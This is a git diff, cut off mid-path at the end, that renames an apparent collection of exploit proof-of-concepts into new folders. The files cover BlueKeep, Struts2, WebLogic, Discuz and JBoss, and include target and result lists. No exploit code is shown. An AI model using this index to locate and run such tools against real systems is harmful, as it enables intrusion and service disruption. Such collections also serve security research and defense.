vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/detect_methods.go diff --git a/CVE-2019-11043/phuip-fpizdam/go.mod b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/go.mod similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/go.mod rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/go.mod diff --git a/CVE-2019-11043/phuip-fpizdam/go.sum b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/go.sum similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/go.sum rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/go.sum diff --git a/CVE-2019-11043/phuip-fpizdam/main.go b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/main.go similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/main.go rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/main.go diff --git a/CVE-2019-11043/phuip-fpizdam/phpini.go b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/phpini.go similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/phpini.go rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/phpini.go diff --git a/CVE-2019-11043/phuip-fpizdam/requester.go b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/requester.go similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/requester.go rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/requester.go diff --git a/CVE-2019-11510/CVE-2019-11510.jpg b/vuln_pocs/cve/CVE-2019-11510/CVE-2019-11510.jpg similarity index 100% rename from CVE-2019-11510/CVE-2019-11510.jpg rename to vuln_pocs/cve/CVE-2019-11510/CVE-2019-11510.jpg diff --git a/CVE-2019-11510/CVE-2019-11510.py b/vuln_pocs/cve/CVE-2019-11510/CVE-2019-11510.py similarity index 100% rename from CVE-2019-11510/CVE-2019-11510.py rename to vuln_pocs/cve/CVE-2019-11510/CVE-2019-11510.py diff --git a/CVE-2019-11510/README.md b/vuln_pocs/cve/CVE-2019-11510/README.md similarity index 100% rename from CVE-2019-11510/README.md rename to vuln_pocs/cve/CVE-2019-11510/README.md diff --git a/CVE-2019-13051/README.md b/vuln_pocs/cve/CVE-2019-13051/README.md similarity index 100% rename from CVE-2019-13051/README.md rename to vuln_pocs/cve/CVE-2019-13051/README.md diff --git a/CVE-2019-13051/image001.png b/vuln_pocs/cve/CVE-2019-13051/image001.png similarity index 100% rename from CVE-2019-13051/image001.png rename to vuln_pocs/cve/CVE-2019-13051/image001.png diff --git a/CVE-2019-13051/image003.jpg b/vuln_pocs/cve/CVE-2019-13051/image003.jpg similarity index 100% rename from CVE-2019-13051/image003.jpg rename to vuln_pocs/cve/CVE-2019-13051/image003.jpg diff --git a/CVE-2019-13051/image005.png b/vuln_pocs/cve/CVE-2019-13051/image005.png similarity index 100% rename from CVE-2019-13051/image005.png rename to vuln_pocs/cve/CVE-2019-13051/image005.png diff --git a/CVE-2019-13051/image007.png b/vuln_pocs/cve/CVE-2019-13051/image007.png similarity index 100% rename from CVE-2019-13051/image007.png rename to vuln_pocs/cve/CVE-2019-13051/image007.png diff --git a/CVE-2019-13051/image009.jpg b/vuln_pocs/cve/CVE-2019-13051/image009.jpg similarity index 100% rename from CVE-2019-13051/image009.jpg rename to vuln_pocs/cve/CVE-2019-13051/image009.jpg diff --git a/CVE-2019-15107/CVE-2019-15107.gif b/vuln_pocs/cve/CVE-2019-15107/CVE-2019-15107.gif similarity index 100% rename from CVE-2019-15107/CVE-2019-15107.gif rename to vuln_pocs/cve/CVE-2019-15107/CVE-2019-15107.gif diff --git a/CVE-2019-15107/CVE-2019-15107.jpg b/vuln_pocs/cve/CVE-2019-15107/CVE-2019-15107.jpg similarity index 100% rename from CVE-2019-15107/CVE-2019-15107.jpg rename to vuln_pocs/cve/CVE-2019-15107/CVE-2019-15107.jpg diff --git a/CVE-2019-15107/CVE_2019_15107.py b/vuln_pocs/cve/CVE-2019-15107/CVE_2019_15107.py similarity index 100% rename from CVE-2019-15107/CVE_2019_15107.py rename to vuln_pocs/cve/CVE-2019-15107/CVE_2019_15107.py diff --git a/CVE-2019-15107/README.md b/vuln_pocs/cve/CVE-2019-15107/README.md similarity index 100% rename from CVE-2019-15107/README.md rename to vuln_pocs/cve/CVE-2019-15107/README.md diff --git a/CVE-2019-16097/README.md b/vuln_pocs/cve/CVE-2019-16097/README.md similarity index 100% rename from CVE-2019-16097/README.md rename to vuln_pocs/cve/CVE-2019-16097/README.md diff --git a/CVE-2019-16097/cve-2019-16097-batch-py2.py b/vuln_pocs/cve/CVE-2019-16097/cve-2019-16097-batch-py2.py similarity index 100% rename from CVE-2019-16097/cve-2019-16097-batch-py2.py rename to vuln_pocs/cve/CVE-2019-16097/cve-2019-16097-batch-py2.py diff --git a/CVE-2019-16097/cve-2019-16097-batch-py3.py b/vuln_pocs/cve/CVE-2019-16097/cve-2019-16097-batch-py3.py similarity index 100% rename from CVE-2019-16097/cve-2019-16097-batch-py3.py rename to vuln_pocs/cve/CVE-2019-16097/cve-2019-16097-batch-py3.py diff --git a/CVE-2019-16097/result.txt b/vuln_pocs/cve/CVE-2019-16097/result.txt similarity index 100% rename from CVE-2019-16097/result.txt rename to vuln_pocs/cve/CVE-2019-16097/result.txt diff --git a/CVE-2019-16097/url.txt b/vuln_pocs/cve/CVE-2019-16097/url.txt similarity index 100% rename from CVE-2019-16097/url.txt rename to vuln_pocs/cve/CVE-2019-16097/url.txt diff --git a/CVE-2019-6977-imagecolormatch/README.md b/vuln_pocs/cve/CVE-2019-6977-imagecolormatch/README.md similarity index 100% rename from CVE-2019-6977-imagecolormatch/README.md rename to vuln_pocs/cve/CVE-2019-6977-imagecolormatch/README.md diff --git a/CVE-2019-6977-imagecolormatch/exploit.php b/vuln_pocs/cve/CVE-2019-6977-imagecolormatch/exploit.php similarity index 100% rename from CVE-2019-6977-imagecolormatch/exploit.php rename to vuln_pocs/cve/CVE-2019-6977-imagecolormatch/exploit.php diff --git a/CVE-2019-8451/CVE-2019-8451.jpg b/vuln_pocs/cve/CVE-2019-8451/CVE-2019-8451.jpg similarity index 100% rename from CVE-2019-8451/CVE-2019-8451.jpg rename to vuln_pocs/cve/CVE-2019-8451/CVE-2019-8451.jpg diff --git a/CVE-2019-8451/CVE-2019-8451.py b/vuln_pocs/cve/CVE-2019-8451/CVE-2019-8451.py similarity index 100% rename from CVE-2019-8451/CVE-2019-8451.py rename to vuln_pocs/cve/CVE-2019-8451/CVE-2019-8451.py diff --git a/CVE-2019-8451/JRASERVER-69793.jpg b/vuln_pocs/cve/CVE-2019-8451/JRASERVER-69793.jpg similarity index 100% rename from CVE-2019-8451/JRASERVER-69793.jpg rename to vuln_pocs/cve/CVE-2019-8451/JRASERVER-69793.jpg diff --git a/CVE-2019-8451/README.md b/vuln_pocs/cve/CVE-2019-8451/README.md similarity index 100% rename from CVE-2019-8451/README.md rename to vuln_pocs/cve/CVE-2019-8451/README.md diff --git a/CVE-2019-8451/burpsuite.jpg b/vuln_pocs/cve/CVE-2019-8451/burpsuite.jpg similarity index 100% rename from CVE-2019-8451/burpsuite.jpg rename to vuln_pocs/cve/CVE-2019-8451/burpsuite.jpg diff --git a/BlueKeep/README.md b/vuln_pocs/exploit-tools/BlueKeep/README.md similarity index 100% rename from BlueKeep/README.md rename to vuln_pocs/exploit-tools/BlueKeep/README.md diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/0xeb_bp_BlueKeep_Technical_Analysis.pdf b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/0xeb_bp_BlueKeep_Technical_Analysis.pdf similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/0xeb_bp_BlueKeep_Technical_Analysis.pdf rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/0xeb_bp_BlueKeep_Technical_Analysis.pdf diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/LICENSE b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/LICENSE similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/LICENSE rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/LICENSE diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/README.md b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/README.md similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/README.md rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/README.md diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/bluekeep_kshellcode_x86.asm b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/bluekeep_kshellcode_x86.asm similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/bluekeep_kshellcode_x86.asm rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/bluekeep_kshellcode_x86.asm diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/rc4.py b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/rc4.py similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/rc4.py rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/rc4.py diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/rdp.py b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/rdp.py similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/rdp.py rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/rdp.py diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/rdp_crypto.py b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/rdp_crypto.py similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/rdp_crypto.py rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/rdp_crypto.py diff --git a/BlueKeep/bluekeep-CVE-2019-0708-python/win7_32_poc.py b/vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/win7_32_poc.py similarity index 100% rename from BlueKeep/bluekeep-CVE-2019-0708-python/win7_32_poc.py rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python/win7_32_poc.py diff --git a/BlueKeep/bluekeep_poc.py b/vuln_pocs/exploit-tools/BlueKeep/bluekeep_poc.py similarity index 100% rename from BlueKeep/bluekeep_poc.py rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep_poc.py diff --git a/BlueKeep/bluekeep_weaponized_dos.py b/vuln_pocs/exploit-tools/BlueKeep/bluekeep_weaponized_dos.py similarity index 100% rename from BlueKeep/bluekeep_weaponized_dos.py rename to vuln_pocs/exploit-tools/BlueKeep/bluekeep_weaponized_dos.py diff --git a/vuln_pocs/exploit-tools/BlueKeep/requirements.txt b/vuln_pocs/exploit-tools/BlueKeep/requirements.txt new file mode 100644 index 000000000..ef35cbd0a --- /dev/null +++ b/vuln_pocs/exploit-tools/BlueKeep/requirements.txt @@ -0,0 +1 @@ +pyopenssl==26.0.0 \ No newline at end of file diff --git a/BlueKeep/research/[MS-RDPBCGR].pdf b/vuln_pocs/exploit-tools/BlueKeep/research/[MS-RDPBCGR].pdf similarity index 100% rename from BlueKeep/research/[MS-RDPBCGR].pdf rename to vuln_pocs/exploit-tools/BlueKeep/research/[MS-RDPBCGR].pdf diff --git a/BlueKeep/research/notes.txt b/vuln_pocs/exploit-tools/BlueKeep/research/notes.txt similarity index 100% rename from BlueKeep/research/notes.txt rename to vuln_pocs/exploit-tools/BlueKeep/research/notes.txt diff --git a/BlueKeep/research/rdp_packets/rdp.pcap b/vuln_pocs/exploit-tools/BlueKeep/research/rdp_packets/rdp.pcap similarity index 100% rename from BlueKeep/research/rdp_packets/rdp.pcap rename to vuln_pocs/exploit-tools/BlueKeep/research/rdp_packets/rdp.pcap diff --git a/BlueKeep/research/rdp_packets/rdpmac.pcap b/vuln_pocs/exploit-tools/BlueKeep/research/rdp_packets/rdpmac.pcap similarity index 100% rename from BlueKeep/research/rdp_packets/rdpmac.pcap rename to vuln_pocs/exploit-tools/BlueKeep/research/rdp_packets/rdpmac.pcap diff --git a/BlueKeep/research/rdp_packets/rdpmacclear.pcap b/vuln_pocs/exploit-tools/BlueKeep/research/rdp_packets/rdpmacclear.pcap similarity index 100% rename from BlueKeep/research/rdp_packets/rdpmacclear.pcap rename to vuln_pocs/exploit-tools/BlueKeep/research/rdp_packets/rdpmacclear.pcap diff --git a/BlueKeep/research/vulnerable_targets.txt b/vuln_pocs/exploit-tools/BlueKeep/research/vulnerable_targets.txt similarity index 100% rename from BlueKeep/research/vulnerable_targets.txt rename to vuln_pocs/exploit-tools/BlueKeep/research/vulnerable_targets.txt diff --git a/BlueKeep/setup.sh b/vuln_pocs/exploit-tools/BlueKeep/setup.sh similarity index 100% rename from BlueKeep/setup.sh rename to vuln_pocs/exploit-tools/BlueKeep/setup.sh diff --git a/Struts2_045-Poc/.gitignore b/vuln_pocs/exploit-tools/Struts2_045-Poc/.gitignore similarity index 100% rename from Struts2_045-Poc/.gitignore rename to vuln_pocs/exploit-tools/Struts2_045-Poc/.gitignore diff --git a/Struts2_045-Poc/README.md b/vuln_pocs/exploit-tools/Struts2_045-Poc/README.md similarity index 100% rename from Struts2_045-Poc/README.md rename to vuln_pocs/exploit-tools/Struts2_045-Poc/README.md diff --git a/Struts2_045-Poc/Search_S2_045/README.md b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/README.md similarity index 100% rename from Struts2_045-Poc/Search_S2_045/README.md rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/README.md diff --git a/Struts2_045-Poc/Search_S2_045/anbaidulink.py b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/anbaidulink.py similarity index 100% rename from Struts2_045-Poc/Search_S2_045/anbaidulink.py rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/anbaidulink.py diff --git a/Struts2_045-Poc/Search_S2_045/getbaidulink.py b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/getbaidulink.py similarity index 100% rename from Struts2_045-Poc/Search_S2_045/getbaidulink.py rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/getbaidulink.py diff --git a/Struts2_045-Poc/Search_S2_045/result.txt b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/result.txt similarity index 100% rename from Struts2_045-Poc/Search_S2_045/result.txt rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/result.txt diff --git a/Struts2_045-Poc/Search_S2_045/result_all.txt b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/result_all.txt similarity index 100% rename from Struts2_045-Poc/Search_S2_045/result_all.txt rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/result_all.txt diff --git a/Struts2_045-Poc/Search_S2_045/s2_045_judge.py b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/s2_045_judge.py similarity index 100% rename from Struts2_045-Poc/Search_S2_045/s2_045_judge.py rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/s2_045_judge.py diff --git a/Struts2_045-Poc/Search_S2_045/search_url.py b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/search_url.py similarity index 100% rename from Struts2_045-Poc/Search_S2_045/search_url.py rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/search_url.py diff --git a/Struts2_045-Poc/Search_S2_045/tmp.txt b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/tmp.txt similarity index 100% rename from Struts2_045-Poc/Search_S2_045/tmp.txt rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/tmp.txt diff --git a/Struts2_045-Poc/Search_S2_045/url.txt b/vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/url.txt similarity index 100% rename from Struts2_045-Poc/Search_S2_045/url.txt rename to vuln_pocs/exploit-tools/Struts2_045-Poc/Search_S2_045/url.txt diff --git a/Struts2_045-Poc/s2-045.py b/vuln_pocs/exploit-tools/Struts2_045-Poc/s2-045.py similarity index 100% rename from Struts2_045-Poc/s2-045.py rename to vuln_pocs/exploit-tools/Struts2_045-Poc/s2-045.py diff --git a/Struts2_045-Poc/s2_045_cmd.py b/vuln_pocs/exploit-tools/Struts2_045-Poc/s2_045_cmd.py similarity index 100% rename from Struts2_045-Poc/s2_045_cmd.py rename to vuln_pocs/exploit-tools/Struts2_045-Poc/s2_045_cmd.py diff --git a/Struts2_045-Poc/s2_045_thread.py b/vuln_pocs/exploit-tools/Struts2_045-Poc/s2_045_thread.py similarity index 100% rename from Struts2_045-Poc/s2_045_thread.py rename to vuln_pocs/exploit-tools/Struts2_045-Poc/s2_045_thread.py diff --git a/Struts2_045-Poc/tmp.txt b/vuln_pocs/exploit-tools/Struts2_045-Poc/tmp.txt similarity index 100% rename from Struts2_045-Poc/tmp.txt rename to vuln_pocs/exploit-tools/Struts2_045-Poc/tmp.txt diff --git a/WeblogicScanLot/README.md b/vuln_pocs/exploit-tools/WeblogicScanLot/README.md similarity index 100% rename from WeblogicScanLot/README.md rename to vuln_pocs/exploit-tools/WeblogicScanLot/README.md diff --git a/WeblogicScanLot/Weblogic.log b/vuln_pocs/exploit-tools/WeblogicScanLot/Weblogic.log similarity index 100% rename from WeblogicScanLot/Weblogic.log rename to vuln_pocs/exploit-tools/WeblogicScanLot/Weblogic.log diff --git a/WeblogicScanLot/WeblogicScanLot.py b/vuln_pocs/exploit-tools/WeblogicScanLot/WeblogicScanLot.py similarity index 100% rename from WeblogicScanLot/WeblogicScanLot.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/WeblogicScanLot.py diff --git a/WeblogicScanLot/ipresult.txt b/vuln_pocs/exploit-tools/WeblogicScanLot/ipresult.txt similarity index 100% rename from WeblogicScanLot/ipresult.txt rename to vuln_pocs/exploit-tools/WeblogicScanLot/ipresult.txt diff --git a/WeblogicScanLot/poc/CVE_2014_4210.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2014_4210.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2014_4210.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2014_4210.py diff --git a/WeblogicScanLot/poc/CVE_2016_0638.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2016_0638.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2016_0638.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2016_0638.py diff --git a/WeblogicScanLot/poc/CVE_2016_3510.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2016_3510.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2016_3510.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2016_3510.py diff --git a/WeblogicScanLot/poc/CVE_2017_10271.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2017_10271.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2017_10271.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2017_10271.py diff --git a/WeblogicScanLot/poc/CVE_2017_3248.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2017_3248.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2017_3248.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2017_3248.py diff --git a/WeblogicScanLot/poc/CVE_2017_3506.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2017_3506.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2017_3506.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2017_3506.py diff --git a/WeblogicScanLot/poc/CVE_2018_2628.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2018_2628.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2018_2628.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2018_2628.py diff --git a/WeblogicScanLot/poc/CVE_2018_2893.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2018_2893.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2018_2893.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2018_2893.py diff --git a/WeblogicScanLot/poc/CVE_2018_2894.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2018_2894.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2018_2894.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2018_2894.py diff --git a/WeblogicScanLot/poc/CVE_2019_2725.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2019_2725.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2019_2725.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2019_2725.py diff --git a/WeblogicScanLot/poc/CVE_2019_2729.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2019_2729.py similarity index 100% rename from WeblogicScanLot/poc/CVE_2019_2729.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/CVE_2019_2729.py diff --git a/WeblogicScanLot/poc/Console.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/Console.py similarity index 100% rename from WeblogicScanLot/poc/Console.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/Console.py diff --git a/WeblogicScanLot/poc/__init__.py b/vuln_pocs/exploit-tools/WeblogicScanLot/poc/__init__.py similarity index 100% rename from WeblogicScanLot/poc/__init__.py rename to vuln_pocs/exploit-tools/WeblogicScanLot/poc/__init__.py diff --git a/baidupanRCE/poc.md b/vuln_pocs/exploit-tools/baidupanRCE/poc.md similarity index 100% rename from baidupanRCE/poc.md rename to vuln_pocs/exploit-tools/baidupanRCE/poc.md diff --git a/discuz-ml-rce/LICENSE b/vuln_pocs/exploit-tools/discuz-ml-rce/LICENSE similarity index 100% rename from discuz-ml-rce/LICENSE rename to vuln_pocs/exploit-tools/discuz-ml-rce/LICENSE diff --git a/discuz-ml-rce/README.md b/vuln_pocs/exploit-tools/discuz-ml-rce/README.md similarity index 100% rename from discuz-ml-rce/README.md rename to vuln_pocs/exploit-tools/discuz-ml-rce/README.md diff --git a/discuz-ml-rce/batch_result/20190715111111/failed-checked.txt b/vuln_pocs/exploit-tools/discuz-ml-rce/batch_result/20190715111111/failed-checked.txt similarity index 100% rename from discuz-ml-rce/batch_result/20190715111111/failed-checked.txt rename to vuln_pocs/exploit-tools/discuz-ml-rce/batch_result/20190715111111/failed-checked.txt diff --git a/discuz-ml-rce/batch_result/20190715111111/success-checked.txt b/vuln_pocs/exploit-tools/discuz-ml-rce/batch_result/20190715111111/success-checked.txt similarity index 100% rename from discuz-ml-rce/batch_result/20190715111111/success-checked.txt rename to vuln_pocs/exploit-tools/discuz-ml-rce/batch_result/20190715111111/success-checked.txt diff --git a/discuz-ml-rce/demo/dzmlrce01.png b/vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce01.png similarity index 100% rename from discuz-ml-rce/demo/dzmlrce01.png rename to vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce01.png diff --git a/discuz-ml-rce/demo/dzmlrce02.png b/vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce02.png similarity index 100% rename from discuz-ml-rce/demo/dzmlrce02.png rename to vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce02.png diff --git a/discuz-ml-rce/demo/dzmlrce03.png b/vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce03.png similarity index 100% rename from discuz-ml-rce/demo/dzmlrce03.png rename to vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce03.png diff --git a/discuz-ml-rce/demo/dzmlrce04.png b/vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce04.png similarity index 100% rename from discuz-ml-rce/demo/dzmlrce04.png rename to vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce04.png diff --git a/discuz-ml-rce/demo/dzmlrce06.png b/vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce06.png similarity index 100% rename from discuz-ml-rce/demo/dzmlrce06.png rename to vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce06.png diff --git a/discuz-ml-rce/demo/dzmlrce09.png b/vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce09.png similarity index 100% rename from discuz-ml-rce/demo/dzmlrce09.png rename to vuln_pocs/exploit-tools/discuz-ml-rce/demo/dzmlrce09.png diff --git a/discuz-ml-rce/dz-ml-rce.py b/vuln_pocs/exploit-tools/discuz-ml-rce/dz-ml-rce.py similarity index 100% rename from discuz-ml-rce/dz-ml-rce.py rename to vuln_pocs/exploit-tools/discuz-ml-rce/dz-ml-rce.py diff --git a/discuz-ml-rce/requirements.txt b/vuln_pocs/exploit-tools/discuz-ml-rce/requirements.txt similarity index 70% rename from discuz-ml-rce/requirements.txt rename to vuln_pocs/exploit-tools/discuz-ml-rce/requirements.txt index df7158666..6bf7cf7f2 100644 --- a/discuz-ml-rce/requirements.txt +++ b/vuln_pocs/exploit-tools/discuz-ml-rce/requirements.txt @@ -1,3 +1,3 @@ -urllib3==1.26.5 +urllib3==2.7.0 requests==2.31.0 beautifulsoup4==4.7.1 \ No newline at end of file diff --git a/discuz-ml-rce/urls.txt b/vuln_pocs/exploit-tools/discuz-ml-rce/urls.txt similarity index 100% rename from discuz-ml-rce/urls.txt rename to vuln_pocs/exploit-tools/discuz-ml-rce/urls.txt diff --git a/jboss_CVE-2017-12149/README.md b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/README.md similarity index 100% rename from jboss_CVE-2017-12149/README.md rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/README.md diff --git a/jboss_CVE-2017-12149/bin/com/jboss/main/Payload.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/Payload.class similarity index 100% rename from jboss_CVE-2017-12149/bin/com/jboss/main/Payload.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/Payload.class diff --git a/jboss_CVE-2017-12149/bin/com/jboss/main/doPost.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/doPost.class similarity index 100% rename from jboss_CVE-2017-12149/bin/com/jboss/main/doPost.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/doPost.class diff --git a/jboss_CVE-2017-12149/bin/com/jboss/main/main$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/com/jboss/main/main$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main$1.class diff --git a/jboss_CVE-2017-12149/bin/com/jboss/main/main$2.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main$2.class similarity index 100% rename from jboss_CVE-2017-12149/bin/com/jboss/main/main$2.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main$2.class diff --git a/jboss_CVE-2017-12149/bin/com/jboss/main/main$3.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main$3.class similarity index 100% rename from jboss_CVE-2017-12149/bin/com/jboss/main/main$3.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main$3.class diff --git a/jboss_CVE-2017-12149/bin/com/jboss/main/main.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main.class similarity index 100% rename from jboss_CVE-2017-12149/bin/com/jboss/main/main.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/com/jboss/main/main.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ArrayStack.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ArrayStack.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ArrayStack.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ArrayStack.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Bag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Bag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/Bag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Bag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/BagUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/BagUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/BagUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/BagUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$1.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$10.class 